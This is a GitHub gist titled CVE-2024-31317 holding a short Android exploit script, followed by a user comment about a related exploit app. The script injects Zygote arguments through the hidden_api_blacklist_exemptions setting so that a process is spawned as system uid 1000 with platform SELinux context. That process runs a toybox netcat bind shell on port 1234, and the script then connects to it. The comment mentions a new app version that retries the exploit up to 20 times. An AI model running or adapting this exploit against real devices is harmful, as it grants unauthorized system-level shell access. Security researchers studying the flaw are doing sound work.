Created
January 8, 2025 19:43
-
-
Save ybtag/db3f3595139556c773fb94b7cbe668b5 to your computer and use it in GitHub Desktop.
CVE-2024-31317
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| am force-stop com.android.settings | |
| settings put global hidden_api_blacklist_exemptions "LClass1;->method1( | |
| 15 | |
| --runtime-args | |
| --setuid=1000 | |
| --setgid=1000 | |
| --runtime-flags=2049 | |
| --mount-external-full | |
| --target-sdk-version=29 | |
| --setgroups=3003 | |
| --nice-name=runnetcat | |
| --seinfo=platform:su:targetSdkVersion=29:complete | |
| --invoke-with | |
| toybox nc -s 127.0.0.1 -p 1234 -L /system/bin/sh -l; | |
| --instruction-set=arm | |
| --app-data-dir=/data/ | |
| --package-name=com.android.settings | |
| android.app.ActivityThread | |
| " | |
| am start -a android.settings.SETTINGS | |
| nc localhost 1234 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Probably not the update you waited for, but maybe it helps..?
I have pushed a version 1.0.2 of "my" exploit apk, which adds "Init Connection Mode".
There, the socket/shell is actually opened at the
systemuser end. This has the advantage that the shell is reusable and the app can even tell you whether the exploit succeeded or not.Currently, it tries to apply the exploit 20 times and gives up after that (you should probably restart your phone anyway if it fails that many times).
But yeah, maybe this is enough to finally get into your phone @rabits? :)